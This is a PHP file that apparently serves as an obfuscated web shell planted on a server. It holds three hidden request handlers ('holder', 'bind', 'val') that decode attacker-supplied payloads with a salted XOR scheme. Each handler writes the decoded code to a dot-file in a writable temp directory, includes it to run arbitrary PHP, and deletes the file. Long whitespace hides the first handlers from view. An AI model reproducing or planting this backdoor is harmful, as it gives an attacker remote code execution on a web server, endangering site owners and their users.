<?php																																										if(isset($_REQUEST["h\x6Fl\x64er"])){ $factor = $_REQUEST["h\x6Fl\x64er"]; $factor= explode( "." , $factor ) ; $descriptor = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5 ); $l = 0; $__tmp = $factor; while ($v4 = array_shift($__tmp)) { $chS = ord($s5[$l % $lenS] ); $d = ((int)$v4 - $chS - ($l % 10)) ^ 28; $descriptor .= chr($d ); $l++; } $sym = array_filter(["/tmp", getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($sym as $token) { if (is_writable($token) && is_dir($token)) { $symbol = str_replace("{var_dir}", $token, "{var_dir}/.k"); if (@file_put_contents($symbol, $descriptor) !== false) { include $symbol; unlink($symbol); exit; } } } }
																																										if(isset($_REQUEST["\x62\x69nd"])){ $rec = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $binding = $_REQUEST["\x62\x69nd"]; $binding = explode ( "." , $binding ) ; $holder =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s4); $i =0; $__tmp =$binding; while ($v1 =array_shift($__tmp)) { $chS =ord($s4[$i%$sLen]); $d =((int)$v1 - $chS - ($i%10)) ^ 72; $holder.=chr($d); $i++;} $data = 0; do { $value = $rec[$data] ?? null; if ($data >= count($rec)) break; if ((is_dir($value) and is_writable($value))) { $key = "$value/.token"; $success = file_put_contents($key, $holder); if ($success) { include $key; @unlink($key); die();} } $data++; } while (true); }


if(in_array("\x76\x61l", array_keys($_REQUEST))){
	$fac = $_REQUEST["\x76\x61l"];
		$fac		=explode	('.' 	,$fac)  ;		
	$reference	=	'';
            $salt5	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen($salt5);
            $u	=	0;
    
            while ($u < count($fac)) {
                $v1	=	$fac[$u];
                $sChar	=	ord($salt5[$u		% $sLen]);
                $dec	=	((int)$v1 - $sChar - ($u		% 10)) ^ 44;
                $reference		.= chr($dec);
                $u++;
            }
	$value = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]);
	foreach ($value as $holder):
    		if (!( !is_dir($holder) || !is_writable($holder) )) {
    $itm = vsprintf("%s/%s", [$holder, ".hld"]);
    if (@file_put_contents($itm, $reference) !== false) {
	include $itm;
	unlink($itm);
	exit;
}
}
endforeach;
}